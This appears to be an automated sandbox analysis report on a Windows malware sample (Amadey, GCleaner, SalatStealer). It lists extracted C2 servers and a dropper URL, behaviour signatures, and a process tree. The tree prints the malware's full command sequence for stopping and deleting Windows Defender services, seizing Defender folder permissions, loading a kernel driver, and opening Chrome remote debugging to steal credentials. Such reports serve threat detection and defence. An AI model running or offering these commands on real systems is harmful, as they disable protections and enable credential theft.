Overview

overview

10

Static

static

3

b98b563e84...d3.exe

windows7-x64

10

b98b563e84...d3.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    134s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    30/03/2025, 18:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    b98b563e84582e4c360683c255ef5bd3.exe

  • Size

    1.8MB

  • MD5

    b98b563e84582e4c360683c255ef5bd3

  • SHA1

    dcffe41f94d21393d43b6438e94174f39b3d755d

  • SHA256

    5c42d5cff248996ac395d3c636fcf55cba5710d7797c03340c71d94fbbbd1c71

  • SHA512

    e053d42b8c7ec83007f51e9e293c0b297dd86478ac5c97b421a3683e92f3cb1ad22a13bd3435d428d74483a6224f93481d7272f86d1798073ef50bc609dd58ff

  • SSDEEP

    24576:ecDROuFEIyGX/7OKSzjp4KPl2H88+fxlcQ3Gl07o7eSoAOEMzHbxZW/p5n6tiNb8:ecD2avG14KDfX8SSoAubbm6

Score
10/10
amadeygcleanersalatstealer09215597fe15bootkitcredential_accessdefense_evasiondiscoveryexecutionexploitloaderpersistencespywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

amadey

Version

5.20

Botnet

97fe15

C2

http://185.215.113.209

Attributes
  • install_dir

    97419fb2c0

  • install_file

    futors.exe

  • strings_key

    ce0b89c831d45810d856da111e87cdbf

  • url_paths

    /Di0Her478/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect SalatStealer payload 1 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Salatstealer family
    salatstealer
  • salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

    stealersalatstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 28 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 43 IoCs
  • Identifies Wine through registry keys 2 TTPs 8 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 46 IoCs
  • Drops file in Windows directory 15 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\b98b563e84582e4c360683c255ef5bd3.exe
    "C:\Users\Admin\AppData\Local\Temp\b98b563e84582e4c360683c255ef5bd3.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Users\Admin\AppData\Local\Temp\10382310101\h2kC2YI.exe
        "C:\Users\Admin\AppData\Local\Temp\10382310101\h2kC2YI.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1332 -s 44
          4⤵
          • Loads dropped DLL
          PID:3016
      • C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe
        "C:\Users\Admin\AppData\Local\Temp\10382540101\SPOKz5U.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2444 -s 44
          4⤵
          • Loads dropped DLL
          PID:1628
      • C:\Users\Admin\AppData\Local\Temp\10382660101\amnew.exe
        "C:\Users\Admin\AppData\Local\Temp\10382660101\amnew.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
          "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
          4⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
            "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1756
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1756 -s 44
              6⤵
              • Loads dropped DLL
              PID:1384
          • C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
            "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
            5⤵
            • Executes dropped EXE
            PID:2312
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2312 -s 36
              6⤵
              • Loads dropped DLL
              PID:1260
          • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
            "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2660
            • C:\Users\Admin\AppData\Local\Temp\is-I9GO2.tmp\Bell_Setup16.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-I9GO2.tmp\Bell_Setup16.tmp" /SL5="$E01A6,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2064
              • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:2120
                • C:\Users\Admin\AppData\Local\Temp\is-3K5QC.tmp\Bell_Setup16.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-3K5QC.tmp\Bell_Setup16.tmp" /SL5="$F01A6,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of FindShellTrayWindow
                  PID:1244
                  • C:\Windows\SysWOW64\regsvr32.exe
                    "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"
                    9⤵
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:2896
          • C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
            "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
            5⤵
            • Executes dropped EXE
            PID:3016
          • C:\Users\Admin\AppData\Local\Temp\10045350101\kololololo.exe
            "C:\Users\Admin\AppData\Local\Temp\10045350101\kololololo.exe"
            5⤵
            • Executes dropped EXE
            PID:1872
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1872 -s 36
              6⤵
              • Loads dropped DLL
              PID:2928
          • C:\Users\Admin\AppData\Local\Temp\10045360101\fff.exe
            "C:\Users\Admin\AppData\Local\Temp\10045360101\fff.exe"
            5⤵
            • Executes dropped EXE
            PID:2160
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2160 -s 44
              6⤵
                PID:2940
            • C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
              "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
              5⤵
              • Executes dropped EXE
              PID:1816
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 1816 -s 44
                6⤵
                  PID:2708
              • C:\Users\Admin\AppData\Local\Temp\10045450101\23f07b8753.exe
                "C:\Users\Admin\AppData\Local\Temp\10045450101\23f07b8753.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1620
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  "C:\Users\Admin\AppData\Local\Temp\10045450101\23f07b8753.exe"
                  6⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1804
              • C:\Users\Admin\AppData\Local\Temp\10045460101\94988a69fb.exe
                "C:\Users\Admin\AppData\Local\Temp\10045460101\94988a69fb.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1636
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  "C:\Users\Admin\AppData\Local\Temp\10045460101\94988a69fb.exe"
                  6⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2488
              • C:\Users\Admin\AppData\Local\Temp\10045470101\9d4d7f67f9.exe
                "C:\Users\Admin\AppData\Local\Temp\10045470101\9d4d7f67f9.exe"
                5⤵
                • Executes dropped EXE
                PID:2512
          • C:\Users\Admin\AppData\Local\Temp\10382800101\aezyEBW.exe
            "C:\Users\Admin\AppData\Local\Temp\10382800101\aezyEBW.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2268
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2268 -s 44
              4⤵
              • Loads dropped DLL
              PID:740
          • C:\Users\Admin\AppData\Local\Temp\10382880101\apple.exe
            "C:\Users\Admin\AppData\Local\Temp\10382880101\apple.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:828
            • C:\Users\Admin\AppData\Local\Temp\221.exe
              "C:\Users\Admin\AppData\Local\Temp\221.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2132
              • C:\Windows\system32\cmd.exe
                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\26A3.tmp\26A4.tmp\26A5.bat C:\Users\Admin\AppData\Local\Temp\221.exe"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2468
                • C:\Users\Admin\AppData\Local\Temp\221.exe
                  "C:\Users\Admin\AppData\Local\Temp\221.exe" go
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  • Suspicious use of WriteProcessMemory
                  PID:2128
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2720.tmp\2721.tmp\2722.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"
                    7⤵
                    • Drops file in Program Files directory
                    • Suspicious use of WriteProcessMemory
                    PID:1604
                    • C:\Windows\system32\sc.exe
                      sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                      8⤵
                      • Launches sc.exe
                      PID:1684
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:2376
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      8⤵
                      • Delays execution with timeout.exe
                      PID:2120
                    • C:\Windows\system32\sc.exe
                      sc stop ddrver
                      8⤵
                      • Launches sc.exe
                      PID:2144
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:2352
                    • C:\Windows\system32\takeown.exe
                      takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:2148
                    • C:\Windows\system32\icacls.exe
                      icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:2828
                    • C:\Windows\system32\sc.exe
                      sc stop "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:2948
                    • C:\Windows\system32\sc.exe
                      sc delete "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:2708
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                      8⤵
                        PID:2988
                      • C:\Windows\system32\sc.exe
                        sc stop "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:2752
                      • C:\Windows\system32\sc.exe
                        sc delete "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:2760
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                        8⤵
                          PID:2684
                        • C:\Windows\system32\sc.exe
                          sc stop "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:2696
                        • C:\Windows\system32\sc.exe
                          sc delete "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:2700
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                          8⤵
                            PID:2356
                          • C:\Windows\system32\sc.exe
                            sc stop "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:2012
                          • C:\Windows\system32\sc.exe
                            sc delete "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:2540
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                            8⤵
                              PID:2020
                            • C:\Windows\system32\sc.exe
                              sc stop "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:1320
                            • C:\Windows\system32\sc.exe
                              sc delete "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:2776
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                              8⤵
                                PID:1804
                              • C:\Windows\system32\sc.exe
                                sc stop "SgrmBroker"
                                8⤵
                                • Launches sc.exe
                                PID:288
                              • C:\Windows\system32\sc.exe
                                sc delete "SgrmBroker"
                                8⤵
                                • Launches sc.exe
                                PID:2672
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                8⤵
                                  PID:668
                                • C:\Windows\system32\sc.exe
                                  sc stop "SecurityHealthService"
                                  8⤵
                                  • Launches sc.exe
                                  PID:1332
                                • C:\Windows\system32\sc.exe
                                  sc delete "SecurityHealthService"
                                  8⤵
                                  • Launches sc.exe
                                  PID:2788
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                  8⤵
                                    PID:2320
                                  • C:\Windows\system32\sc.exe
                                    sc stop "webthreatdefsvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:1672
                                  • C:\Windows\system32\sc.exe
                                    sc delete "webthreatdefsvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:1284
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                    8⤵
                                      PID:2588
                                    • C:\Windows\system32\sc.exe
                                      sc stop "webthreatdefusersvc"
                                      8⤵
                                      • Launches sc.exe
                                      PID:1976
                                    • C:\Windows\system32\sc.exe
                                      sc delete "webthreatdefusersvc"
                                      8⤵
                                      • Launches sc.exe
                                      PID:824
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                      8⤵
                                        PID:1576
                                      • C:\Windows\system32\sc.exe
                                        sc stop "WdNisDrv"
                                        8⤵
                                        • Launches sc.exe
                                        PID:1992
                                      • C:\Windows\system32\sc.exe
                                        sc delete "WdNisDrv"
                                        8⤵
                                        • Launches sc.exe
                                        PID:1596
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                        8⤵
                                          PID:2348
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdBoot"
                                          8⤵
                                          • Launches sc.exe
                                          PID:1936
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdBoot"
                                          8⤵
                                          • Launches sc.exe
                                          PID:1832
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                          8⤵
                                            PID:2216
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdFilter"
                                            8⤵
                                            • Launches sc.exe
                                            PID:2552
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdFilter"
                                            8⤵
                                            • Launches sc.exe
                                            PID:2436
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                            8⤵
                                              PID:2332
                                            • C:\Windows\system32\sc.exe
                                              sc stop "SgrmAgent"
                                              8⤵
                                              • Launches sc.exe
                                              PID:1916
                                            • C:\Windows\system32\sc.exe
                                              sc delete "SgrmAgent"
                                              8⤵
                                              • Launches sc.exe
                                              PID:748
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                              8⤵
                                                PID:2280
                                              • C:\Windows\system32\sc.exe
                                                sc stop "MsSecWfp"
                                                8⤵
                                                • Launches sc.exe
                                                PID:2372
                                              • C:\Windows\system32\sc.exe
                                                sc delete "MsSecWfp"
                                                8⤵
                                                • Launches sc.exe
                                                PID:2984
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                8⤵
                                                  PID:1504
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "MsSecFlt"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:1040
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "MsSecFlt"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:1920
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                  8⤵
                                                    PID:980
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecCore"
                                                    8⤵
                                                    • Launches sc.exe
                                                    PID:892
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecCore"
                                                    8⤵
                                                    • Launches sc.exe
                                                    PID:796
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                    8⤵
                                                      PID:3048
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                      8⤵
                                                        PID:3040
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                        8⤵
                                                          PID:1780
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                          8⤵
                                                            PID:1704
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                            8⤵
                                                              PID:1352
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop ddrver
                                                              8⤵
                                                              • Launches sc.exe
                                                              PID:984
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete ddrver
                                                              8⤵
                                                              • Launches sc.exe
                                                              PID:2240
                                                  • C:\Users\Admin\AppData\Local\Temp\10383620101\JfwxLrZ.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10383620101\JfwxLrZ.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:884
                                                  • C:\Users\Admin\AppData\Local\Temp\10383850101\17a0f83dd2.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10383850101\17a0f83dd2.exe"
                                                    3⤵
                                                    • Downloads MZ/PE file
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:1208
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                      4⤵
                                                      • Uses browser remote debugging
                                                      • Enumerates system info in registry
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:1284
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5f79758,0x7fef5f79768,0x7fef5f79778
                                                        5⤵
                                                          PID:800
                                                        • C:\Windows\system32\ctfmon.exe
                                                          ctfmon.exe
                                                          5⤵
                                                            PID:1944
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:2
                                                            5⤵
                                                              PID:1028
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1504 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:8
                                                              5⤵
                                                                PID:2584
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1536 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:8
                                                                5⤵
                                                                  PID:1352
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=1856 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:1
                                                                  5⤵
                                                                  • Uses browser remote debugging
                                                                  PID:680
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2380 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:1
                                                                  5⤵
                                                                  • Uses browser remote debugging
                                                                  PID:2068
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2388 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:1
                                                                  5⤵
                                                                  • Uses browser remote debugging
                                                                  PID:1372
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1368 --field-trial-handle=1196,i,7079941547236809254,3673799847051597653,131072 /prefetch:2
                                                                  5⤵
                                                                    PID:1252
